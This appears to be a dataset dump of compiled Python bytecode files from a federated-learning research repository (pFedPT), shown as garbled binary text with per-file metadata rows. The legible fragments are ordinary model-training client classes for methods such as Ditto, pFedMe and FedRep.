¡|j  ¡q‚WqtW|j ¡dS)NrTrFr)r#r r%r&r'rrrr-rr.r/rr3r r4r5r6) rZ which_moduler8rr5r;r<r=r>r rrrÚ fine_tune:s*        zclientBABU.fine_tune)Ú__name__Ú __module__Ú __qualname__rr'rDrEÚ __classcell__rr)rrr s  r) Úcopyr Útorch.nnrÚnumpyr*r$Úflcore.clients.clientbaserrrrrrÚ<module>s   
2,549
Python
.py
35
71.657143
286
0.422664
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,668
clientrod.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientrod.cpython-38.pyc
U 5ngc±„@sÄddlZddlZddlmZddlZddlZddlmZddl mm Z ddl m Z ddlmZGddÑdeÉZd dd ÑZdS) ÈN)⁄Client)⁄label_binarize)⁄metricscs.eZdZáfddÑZddÑZdddÑZáZS) ⁄ clientRODc  s¨tÉj||||f|ét†°|_tjj|j† °|j dç|_ t † |jj°|_tjj|j† °|j dç|_t†|j°|_|†°}|D](\}}|D]} |j| †°d7<qäq~dS)N)⁄lrÈ)⁄super⁄__init__⁄nn⁄CrossEntropyLoss⁄loss⁄torch⁄optim⁄SGD⁄model⁄ parameters⁄ learning_rate⁄ optimizer⁄copy⁄deepcopy⁄ predictor⁄pred⁄opt_pred⁄zeros⁄ num_classes⁄sample_per_class⁄load_train_data⁄item) ⁄self⁄args⁄id⁄ train_samples⁄ test_samples⁄kwargs⁄ trainloader⁄x⁄y⁄yy©⁄ __class__©ıDD:\‰∫¨‰∏ú\promot\cifar\cifar\tiny\system\flcore\clients\clientrod.pyr s  zclientROD.__init__c Csz|†°}t†°}|j†|j°|j†|j°|j†°|j}|jrTt j † d|d°}t |ÉD]ÿ}t |ÉD] \}\}}t|ÉtgÉkrö|d†|j°|d<n |†|j°}|†|j°}|j†|°}|j†|°} t|| |jÉ} |j†°| †°|j†°|†|†°°} |†| †°| |°} |j†°| †°|j†°qhq\|j†°|j†°|jdd7<|jdt†°|7<dS)NrÈr⁄ num_rounds⁄ total_cost)r⁄timer⁄to⁄devicer⁄train⁄ local_steps⁄ train_slow⁄np⁄random⁄randint⁄range⁄ enumerate⁄type⁄baser⁄balanced_softmax_lossrr⁄ zero_grad⁄backward⁄step⁄detachr r⁄cpu⁄train_time_cost) rr$⁄ start_time⁄max_local_stepsr?⁄ir%r&⁄rep⁄out_gZloss_bsm⁄out_pr r*r*r+r2s:           zclientROD.trainNc Cs÷|†°}|dkr|j}|j†|j°|j†|j°|†°d}d}g}g}t†°êè2|Dê]$\}}t|ÉtgÉkrä|d†|j°|d<n |†|j°}|†|j°}|j† |°} |j† | °} |†| † °°} | † °| } |t† tj | ddç|k°†°7}||jd7}|†t†| °† °†°†°°|j} |jdkêr8| d7} t|† °†°†°t†| °dç}|jdkêrv|ddÖddÖf}|†|°qZW5QRX|j†°|j†°tj|ddç}tj|ddç}tj||ddç}|||fS) Nrr)⁄dimr,)⁄classes)⁄axis⁄micro)⁄average)⁄load_test_datarr0r1r⁄evalr ⁄no_gradr:r;rr@⁄sum⁄argmaxr⁄shape⁄append⁄F⁄softmaxrA⁄numpyrrr5⁄arange⁄ concatenater⁄ roc_auc_score)rr⁄ testloader⁄test_acc⁄test_num⁄y_prob⁄y_truer%r&rFrGrH⁄output⁄nc⁄lb⁄aucr*r*r+⁄ test_metricsDsH           zclientROD.test_metrics)N)⁄__name__⁄ __module__⁄ __qualname__r r2rd⁄ __classcell__r*r*r(r+r s 'r⁄meancCsB|†|°}|†d°†|jdd°}||†°}tj|||dç}|S)a}Compute the Balanced Softmax Loss between `logits` and the ground truth `labels`. Args: labels: A int tensor of size [batch]. logits: A float tensor of size [batch, no_of_classes]. sample_per_class: A int tensor of size [no of classes]. reduction: string. One of "none", "mean", "sum" Returns: loss: A float tensor. Balanced Softmax Loss. rÈˇˇˇˇ)⁄input⁄target⁄ reduction)⁄type_as⁄ unsqueeze⁄expandrS⁄logrU⁄ cross_entropy)⁄labels⁄logitsrrmZspcr r*r*r+r<ts  r<)ri)rr ⁄torch.nnr rWr5r/⁄flcore.clients.clientbaser⁄torch.nn.functional⁄ functionalrU⁄sklearn.preprocessingr⁄sklearnrrr<r*r*r*r+⁄<module>s    h
3,841
Python
.py
42
89.404762
534
0.419058
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,669
clientbase.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbase.cpython-37.pyc
B 9Íec ã@s‚ddlZddlZddlmZddlZddlZddlmmZ ddl m Z ddl m Z ddlmZddlmZGdd„deƒZdS)éN)Ú DataLoader)Úlabel_binarize)Úmetrics)Úread_client_datac@sheZdZdZdd„Zddd„Zddd„Zd d „Zd d „Zd d„Z dd„Z dd„Z ddd„Z ddd„Z dS)ÚClientz7 Base class for clients in federated learning. cKsÔt |j¡|_|j|_|j|_||_|j|_|j|_||_||_ |j |_ |j |_ |j |_ d|_x&|j ¡D]}t|tjƒrjd|_PqjW|d|_|d|_dddœ|_dddœ|_|j|_|j|_|j |j|_dS)NFTÚ train_slowÚ send_slowrg)Ú num_roundsÚ total_cost)ÚcopyÚdeepcopyÚmodelÚdatasetÚdeviceÚidÚsave_folder_nameÚ num_classesÚ train_samplesÚ test_samplesÚ batch_sizeÚlocal_learning_rateÚ learning_rateÚ local_stepsZ has_BatchNormÚchildrenÚ isinstanceÚnnÚ BatchNorm2drrÚtrain_time_costZsend_time_costÚprivacyZdp_sigmaÚ sample_rate)ÚselfÚargsrrrÚkwargsÚlayer©r$úG/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientbase.pyÚ__init__s.     zClient.__init__NcCs0|dkr|j}t|j|jdd�}t||ddd�S)NT)Úis_train)Ú drop_lastÚshuffle)rrrrr)r rÚ train_datar$r$r%Úload_train_data1szClient.load_train_datacCs0|dkr|j}t|j|jdd�}t||ddd�S)NF)r'T)r(r))rrrrr)r rÚ test_datar$r$r%Úload_test_data7szClient.load_test_datacCs2x,t| ¡|j ¡ƒD]\}}|j ¡|_qWdS)N)ÚzipÚ parametersr ÚdataÚclone)r r Ú new_paramÚ old_paramr$r$r%Úset_parameters=szClient.set_parameterscCs0x*t| ¡| ¡ƒD]\}}|j ¡|_qWdS)N)r.r/r0r1)r r ÚtargetÚparamZ target_paramr$r$r%Ú clone_modelAszClient.clone_modelcCs,x&t| ¡|ƒD]\}}|j ¡|_qWdS)N)r.r/r0r1)r r Ú new_paramsr6r2r$r$r%Úupdate_parametersFszClient.update_parametersc CsH| ¡}|j |j¡|j ¡d}d}g}g}t ¡�ÊxÂ|D]º\}}t|ƒtgƒkrn|d |j¡|d<n | |j¡}| |j¡}| |¡}|t tj |dd�|k¡  ¡7}||j d7}|  |  ¡ ¡ ¡¡|  t|  ¡ ¡ ¡t |j¡d�¡q@WWdQRX|j ¡tj|dd�}tj|dd�}tj||dd�} ||| fS)Nré)Údim)Úclasses)ÚaxisÚmicro)Úaverage)r-r ÚtorÚevalÚtorchÚno_gradÚtypeÚsumÚargmaxÚitemÚshapeÚappendÚdetachÚcpuÚnumpyrÚnpÚarangerÚ concatenaterZ roc_auc_score) r ZtestloaderfullZtest_accZtest_numZy_probZy_trueÚxÚyÚoutputZaucr$r$r%Ú test_metricsJs.      4 zClient.test_metricscCsÀ| ¡}|j |j¡|j ¡d}d}x„|D]|\}}t|ƒtgƒkr\|d |j¡|d<n | |j¡}| |j¡}| |¡}||jd7}|| ||¡ ¡|jd7}q.W|j  ¡||fS)Nr) r+r r@rrArDrHÚlossrGrK)r Ú trainloaderZ train_numrTrPrQrRr$r$r%Ú train_metricsos    " zClient.train_metricsc CsT|dkr|j}tj |¡s$t |¡t |tj |dt|j ƒd|d¡¡dS)NÚclient_Ú_z.pt) rÚosÚpathÚexistsÚmakedirsrBÚsaveÚjoinÚstrr)r rGÚ item_nameÚ item_pathr$r$r%Ú save_item—s   zClient.save_itemcCs8|dkr|j}t tj |dt|jƒd|d¡¡S)NrWrXz.pt)rrBÚloadrYrZr^r_r)r r`rar$r$r%Ú load_item�szClient.load_item)N)N)N)N)Ú__name__Ú __module__Ú __qualname__Ú__doc__r&r+r-r4r7r9rSrVrbrdr$r$r$r%r s  %( r)r rBÚtorch.nnrrLrMrYÚtorch.nn.functionalÚ functionalÚFÚtorch.utils.datarZsklearn.preprocessingrZsklearnrZutils.data_utilsrÚobjectrr$r$r$r%Ú<module>s     
4,413
Python
.py
40
109.05
438
0.433699
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,670
clientrep.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientrep.cpython-37.pyc
B À:cc ã@sDddlZddlmZddlZddlZddlmZGdd„deƒZdS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientRepc sdtƒj||||f|�t ¡|_tjj|jj   ¡|j d�|_ tjj|jj   ¡|j d�|_|j|_dS)N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ parametersÚ learning_rateÚ optimizerÚ predictorÚ poptimizerÚ plocal_steps)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs)Ú __class__©úF/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientrep.pyr s  zclientRep.__init__c Csx| ¡}t ¡}|j |j¡|j ¡x|jj ¡D] }d|_q6Wx|jj  ¡D] }d|_qRWx¼t |j ƒD]®}x¨t |ƒD]œ\}\}}t |ƒt gƒkr¬|d |j¡|d<n | |j¡}| |j¡}|jrät dt tj ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡qzWqlW|j} |j�r>tj d| d¡} x|jj ¡D] }d|_�qLWx|jj  ¡D] }d|_�qjWxÂt | ƒD]¶}x®t |ƒD]¢\}\}}t |ƒt gƒk�rÆ|d |j¡|d<n | |j¡}| |j¡}|j�rt dt tj ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡�q’W�q„W|j ¡|jdd7<|jdt ¡|7<dS) NFTrgš™™™™™¹?ééÚ num_roundsÚ total_cost)Úload_train_dataÚtimer ÚtoÚdeviceÚtrainrrÚ requires_gradrÚrangerÚ enumerateÚtypeÚ train_slowÚsleepÚnpÚabsÚrandomÚrandrÚ zero_gradr ÚbackwardÚstepÚ local_stepsÚrandintrÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚparamr3ÚiÚxÚyÚoutputr Úmax_local_stepsrrrr&sX                zclientRep.traincCs4x.t| ¡|jj ¡ƒD]\}}|j ¡|_qWdS)N)Úziprr rÚdataÚclone)rrÚ new_paramÚ old_paramrrrÚset_parametersLs zclientRep.set_parameters)Ú__name__Ú __module__Ú __qualname__rr&rEÚ __classcell__rr)rrr s 9r) r Útorch.nnrÚnumpyr-r#Z system.flcore.clients.clientbaserrrrrrÚ<module>s   
2,317
Python
.py
32
71.25
278
0.427384
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,671
clientper.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientper.cpython-39.pyc
a f¾`c„ã@sLddlZddlZddlmZddlZddlZddlmZGdd„deƒZ dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientPerc sBtƒj||||fi|¤�t ¡|_tjj|j  ¡|j d�|_ dS)N)Úlr) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizer)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©úr/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientper.pyr s zclientPer.__init__c Cs| ¡}t ¡}|j ¡|j}|jr8tj d|d¡}t |ƒD]ª}t |ƒD]œ\}\}}t |ƒt gƒkr~|d  |j ¡|d<n |  |j ¡}|  |j ¡}|jr¶t dt tj ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡qLq@|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost)Úload_train_dataÚtimer ÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚtoÚdeviceÚsleepÚabsÚrandrÚ zero_gradr ÚbackwardÚstepÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr1ÚiÚxÚyÚoutputr rrrr!s*       zclientPer.traincCs0t| ¡|jj ¡ƒD]\}}|j ¡|_qdS)N)Úziprr ÚbaseÚdataÚclone)rr Ú new_paramÚ old_paramrrrÚset_parameters0szclientPer.set_parameters)Ú__name__Ú __module__Ú __qualname__rr!r@Ú __classcell__rrrrr s  r) Úcopyr Útorch.nnrÚnumpyr$r Úflcore.clients.clientbaserrrrrrÚ<module>s   
1,856
Python
.py
19
96.631579
306
0.469532
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,672
clientdynpt.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientdynpt.cpython-37.pyc
B K´ccèã@sTddlZddlZddlmZddlZddlZddlmZGdd„deƒZ dd„Z dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientDynPTc s¬tƒj||||f|�t ¡|_tjj|j  ¡|j d�|_ |j |_ d|_ t |j¡}t|ƒ}t |¡|_tjj|jj  ¡|j d�|_tjj|jj  ¡|j d�|_ |j|_dS)N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚalphaÚglobal_model_vectorÚcopyÚdeepcopyÚmodel_parameter_vectorÚ zeros_likeÚold_gradÚ generatorÚ poptimizerÚbaseÚ plocal_steps)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargsr)Ú __class__©úH/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientdynpt.pyr s   zclientDynPT.__init__c CsÎ| ¡}t ¡}t |jj¡}|j |j¡|j |j¡|_|j  |j¡|_ |j  ¡x|jj   ¡D] }d|_ qdWx|jj  ¡D] }d|_ q€Wx¾t|jƒD]°}xªt|ƒD]�\}\}}t|ƒtgƒkrÚ|d |j¡|d<n | |j¡}| |j¡}|j�rt dt tj ¡¡¡|j ¡| |¡} | | |¡} |  ¡|j ¡q¨WqšW|j} x|jj   ¡D] }d|_ �qbWx|jj  ¡D] }d|_ �q€W|j�rªtj d| d¡} �x t| ƒD]ş}xöt|ƒD]ê\}\}}t|ƒtgƒk�rø|d |j¡|d<n | |j¡}| |j¡}|j�r2t dt tj ¡¡¡|j ¡| |¡} | | |¡} |j dk�ršt |jƒ} | |j!dt" #| |j d¡7} | t" $| |j¡8} |  ¡|j ¡�qÄW�q¶W|j dk�rêt |jƒ %¡} |j|j!| |j |_|j &¡|j &¡|_|j  &¡|_ |j'dd7<|j'dt ¡|7<t |jj¡} d}xRt(|  ¡|   ¡ƒD]<\}}||}t" )|dk|t" *|¡|¡}|t" +|¡}�q^W|j'dd7<|j'dt ¡|7<|S) NFTrgš™™™™™¹?ééÚ num_roundsÚ total_cost),Úload_train_dataÚtimerrr rÚtoÚdevicerrÚtrainrrÚ requires_gradÚrangerÚ enumerateÚtypeÚ train_slowÚsleepÚnpÚabsÚrandomÚrandrÚ zero_gradr ÚbackwardÚstepÚ local_stepsÚrandintrrrr ÚnormÚdotÚdetachÚcpuÚtrain_time_costÚzipÚwhererÚsum)rÚ trainloaderÚ start_timeÚ old_promptÚparamr:ÚiÚxÚyÚoutputr Úmax_local_stepsÚv1Ú new_promptÚ diff_provalueÚ new_paramÚ old_paramÚdiff_pror#r#r$r-"s‚                      zclientDynPT.traincCsHx0t|j ¡|jj ¡ƒD]\}}|j ¡|_qWt|ƒ ¡ ¡|_dS)N) rBrrr ÚdataÚclonerr?r)rr rQrRr#r#r$Úset_parametersss"zclientDynPT.set_parameters)Ú__name__Ú __module__Ú __qualname__rr-rVÚ __classcell__r#r#)r"r$r s QrcCs dd„| ¡Dƒ}tj|dd�S)NcSsg|]}| d¡‘qS)éÿÿÿÿ)Úview)Ú.0Úpr#r#r$ú <listcomp>|sz*model_parameter_vector.<locals>.<listcomp>r)Údim)rr Úcat)r rHr#r#r$r{sr) rr Útorch.nnrÚnumpyr4r*Úflcore.clients.clientbaserrrr#r#r#r$Ú<module>s  o
3,383
Python
.py
42
79.452381
336
0.399761
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,673
clientavg.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientavg.cpython-38.pyc
U ”jfcªã@sDddlZddlmZddlZddlZddlmZGdd„deƒZdS)éN)ÚClientcs$eZdZ‡fdd„Zdd„Z‡ZS)Ú clientAVGc s>tƒj||||f|�t ¡|_tjj|j  ¡|j d�|_ dS)N)Úlr) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersZ learning_rateÚ optimizer)ÚselfÚargsÚidZ train_samplesZ test_samplesÚkwargs©Ú __class__©õKD:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientavg.pyr s zclientAVG.__init__c CsP| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}t |ƒD]Æ}t |ƒD]¸\}\}}t |ƒt gƒkrŒ|d |j¡|d<n | |j¡}| |j¡}|jrÄt dt tj  ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j�rt|j|t|ƒƒqZ|j ¡qZqN|j ¡|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Z num_roundsÚ total_cost)Zload_train_dataÚtimer ÚtoÚdeviceÚtrainÚ local_stepsZ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradr ÚbackwardZprivacyZdp_stepÚlenÚstepÚcpuZtrain_time_cost) rZ trainloaderÚ start_timeZmax_local_stepsr,ÚiÚxÚyÚoutputr rrrrs2        zclientAVG.train)Ú__name__Ú __module__Ú __qualname__rrÚ __classcell__rrrrr s r) r Útorch.nnrÚnumpyr rZflcore.clients.clientbaserrrrrrÚ<module>s   
1,652
Python
.py
20
81.45
306
0.461727
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,674
clientdyn.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientdyn.cpython-39.pyc
a W¢bc‘ ã@sTddlZddlZddlmZddlZddlZddlmZGdd„deƒZ dd„Z dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientDync sptƒj||||fi|¤�t ¡|_tjj|j  ¡|j d�|_ |j |_ d|_ t |j¡}t|ƒ}t |¡|_dS)N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚalphaÚglobal_model_vectorÚcopyÚdeepcopyÚmodel_parameter_vectorÚ zeros_likeÚold_grad)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargsr©Ú __class__©úr/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientdyn.pyr s  zclientDyn.__init__c Cs®| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}t |ƒD]ò}t |ƒD]ä\}\}}t |ƒt gƒkrŒ|d |j¡|d<n | |j¡}| |j¡}|jrÄt dt tj  ¡¡¡|j ¡| |¡}| ||¡} |jdk�r,t|jƒ} | |jdt | |jd¡7} | t | |j¡8} |  ¡|j ¡qZqN|jdk�rtt|jƒ ¡} |j|j| |j|_|j ¡|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost) Úload_train_dataÚtimer ÚtoÚdeviceÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradr rrrr ÚnormÚdotrÚbackwardÚstepÚdetachÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr:ÚiÚxÚyÚoutputr Úv1r r r!r*s<            zclientDyn.traincCs@t| ¡|j ¡ƒD]\}}|j ¡|_qt|ƒ ¡ ¡|_dS)N)Úziprr ÚdataÚclonerr;r)rr Ú new_paramÚ old_paramr r r!Úset_parametersLszclientDyn.set_parameters)Ú__name__Ú __module__Ú __qualname__rr*rKÚ __classcell__r r rr!r s .rcCs dd„| ¡Dƒ}tj|dd�S)NcSsg|]}| d¡‘qS)éÿÿÿÿ)Úview)Ú.0Úpr r r!Ú <listcomp>Tóz*model_parameter_vector.<locals>.<listcomp>r)Údim)rr Úcat)r Úparamr r r!rSsr) rr Útorch.nnrÚnumpyr-r'Úflcore.clients.clientbaserrrr r r r!Ú<module>s  I
2,567
Python
.py
28
90.571429
281
0.43937
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,675
clientreppt.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientreppt.cpython-39.pyc
a W¢bcû ã@sDddlZddlmZddlZddlZddlmZGdd„deƒZdS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientREPPTc shtƒj||||fi|¤�t ¡|_tjj|jj   ¡|j d�|_ tjj|jj   ¡|j d�|_|j|_dS)N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ generatorÚ parametersÚ learning_rateÚ poptimizerÚbaseÚ optimizerÚ plocal_steps)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©út/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientreppt.pyr s  zclientREPPT.__init__c CsŠ| ¡}t ¡}|j |j¡|j ¡|jj ¡D] }d|_q4|jj  ¡D] }d|_qL|jj  ¡D] }d|_qdt |j ƒD]ª}t |ƒD]œ\}\}}t|ƒtgƒkr¸|d |j¡|d<n | |j¡}| |j¡}|jrğt dt tj ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡q†qz|j} |j�rFtj d| d¡} |jj ¡D] }d|_�qR|jj  ¡D] }d|_�ql|jj  ¡D] }d|_�q†t | ƒD]²}t |ƒD]¢\}\}}t|ƒtgƒk�rÜ|d |j¡|d<n | |j¡}| |j¡}|j�rt dt tj ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡�q¨�qœ|j ¡|jdd7<|jdt ¡|7<dS) NFTrgš™™™™™¹?ééÚ num_roundsÚ total_cost)Úload_train_dataÚtimer ÚtoÚdeviceÚtrainrrÚ requires_gradrÚ predictorÚrangerÚ enumerateÚtypeÚ train_slowÚsleepÚnpÚabsÚrandomÚrandrÚ zero_gradr ÚbackwardÚstepÚ local_stepsÚrandintrÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚparamr5ÚiÚxÚyÚoutputr Úmax_local_stepsrrrr's`                zclientREPPT.traincCs0t| ¡|jj ¡ƒD]\}}|j ¡|_qdS)N)Úziprr rÚdataÚclone)rrÚ new_paramÚ old_paramrrrÚset_parametersTszclientREPPT.set_parameters)Ú__name__Ú __module__Ú __qualname__rr'rGÚ __classcell__rrrrr s >r) r Útorch.nnrÚnumpyr/r$Ú system.flcore.clients.clientbaserrrrrrÚ<module>s   
2,426
Python
.py
34
70.117647
296
0.430004
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,676
clientpFedMe.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientpFedMe.cpython-37.pyc
B pûecöã@sXddlZddlZddlZddlZddlmZddlmZddl m Z Gdd„de ƒZ dS)éN)ÚpFedMeOptimizer)ÚClientcs4eZdZ‡fdd„Zdd„Zdd„Zdd„Z‡ZS) Ú clientpFedMec s‚tƒj||||f|�|j|_|j|_|j|_t t|j   ¡ƒ¡|_ t t|j   ¡ƒ¡|_ t  ¡|_t|j   ¡|j|jd�|_dS)N)ÚlrÚlamda)ÚsuperÚ__init__rÚKZp_learning_rateZpersonalized_learning_rateÚcopyÚdeepcopyÚlistÚmodelÚ parametersÚ local_paramsÚpersonalized_paramsÚnnÚCrossEntropyLossÚlossrÚ optimizer)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs)Ú __class__©úI/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientpFedMe.pyr s zclientpFedMe.__init__c Cs´| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}�x t |ƒD�]}�x |D�]\}}t |ƒt gƒkr�|d |j¡|d<n | |j¡}| |j¡}|jrÈt  dt tj  ¡¡¡xNt |jƒD]@}|j ¡| |¡}| ||¡} |  ¡|j |j|j¡|_qÔWxHt|j|jƒD]6\} } |  |j¡} | j|j|j| j| j| _�q(Wq`WqRW|j ¡| |j|j¡|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost)Úload_train_dataÚtimer ÚtoÚdeviceÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚtypeÚsleepÚabsÚrandr rÚ zero_gradrÚbackwardÚsteprrÚzipÚdatarÚ learning_rateÚcpuÚupdate_parametersÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr3ÚxÚyÚiÚoutputrÚ new_paramZ localweightrrrr&s8       . zclientpFedMe.traincCsDx>t| ¡|j ¡|jƒD]"\}}}|j ¡|_|j ¡|_qWdS)N)r4rr rr5Úclone)rr rAÚ old_paramZ local_paramrrrÚset_parametersEs$ zclientpFedMe.set_parametersc Csæ| ¡}| |j|j¡|j |j¡|j ¡d}d}t ¡��x†|D]~\}}t |ƒt gƒkrv|d |j¡|d<n | |j¡}| |j¡}| |¡}|t  tj |dd�|k¡  ¡7}||j d7}qHWWdQRX|j ¡||fS)Nrr)Údim)Úload_test_datar8r rr$r%ÚevalÚtorchÚno_gradr-ÚsumÚargmaxÚitemÚshaper7)rÚtestloaderfullÚtest_accÚtest_numr=r>r@rrrÚtest_metrics_personalizedJs"       z&clientpFedMe.test_metrics_personalized)Ú__name__Ú __module__Ú __qualname__rr&rDrQÚ __classcell__rr)rrr s +r) Únumpyr)r#r rHÚtorch.nnrZflcore.optimizers.fedoptimizerrÚflcore.clients.clientbaserrrrrrÚ<module>s   
2,893
Python
.py
30
95.1
455
0.447975
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,677
clientditto.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientditto.cpython-38.pyc
U ”jfcñã@s‚ddlZddlZddlZddlZddlmZddlmZddl m Z ddl mm Z ddlmZddlmZGdd„de ƒZdS)éN)ÚPerturbedGradientDescent)ÚClient)Úlabel_binarize)Úmetricscs4eZdZ‡fdd„Zdd„Zdd„Zdd„Z‡ZS) Ú clientDittoc svtƒj||||f|�|j|_|j|_t |j¡|_t  ¡|_ t j j |j ¡|jd�|_t|j ¡|j|jd�|_dS)N)Úlr)rÚmu)ÚsuperÚ__init__rÚ plocal_stepsÚcopyÚdeepcopyÚmodelÚpmodelÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚ parametersÚ learning_rateÚ optimizerrÚ poptimizer)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©õMD:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientditto.pyr s ÿzclientDitto.__init__c CsP| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}t |ƒD]Æ}t |ƒD]¸\}\}}t |ƒt gƒkrŒ|d |j¡|d<n | |j¡}| |j¡}|jrÄt dt tj  ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j�rt|j|t|ƒƒqZ|j ¡qZqN|j ¡|jdd7<|jdt ¡|7<dS)Néérçš™™™™™¹?Ú num_roundsÚ total_cost)Úload_train_dataÚtimerÚtoÚdeviceÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradrÚbackwardÚprivacyÚdp_stepÚlenÚstepÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr>ÚiÚxÚyÚoutputrr"r"r#r-!s2        zclientDitto.trainc Cs&| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}t |ƒD]®}|D]¤\}}t |ƒt gƒkr„|d |j¡|d<n | |j¡}| |j¡}|jr¼t  dt tj  ¡¡¡|j ¡| |¡}| ||¡}| ¡|j |j ¡|j¡qVqN|j ¡|jdt ¡|7<dS)Nr$r%rr&r()r)r*rr+r,r-r r/r0r1r2r3r5r6r7r8rr9rr:r>rrr?r@) rrArBrCr>rErFrGrr"r"r#ÚptrainIs,         zclientDitto.ptrainc CsJ| ¡}|j |j¡|j ¡d}d}g}g}t ¡�Ì|D]À\}}t|ƒtgƒkrl|d |j¡|d<n | |j¡}| |j¡}| 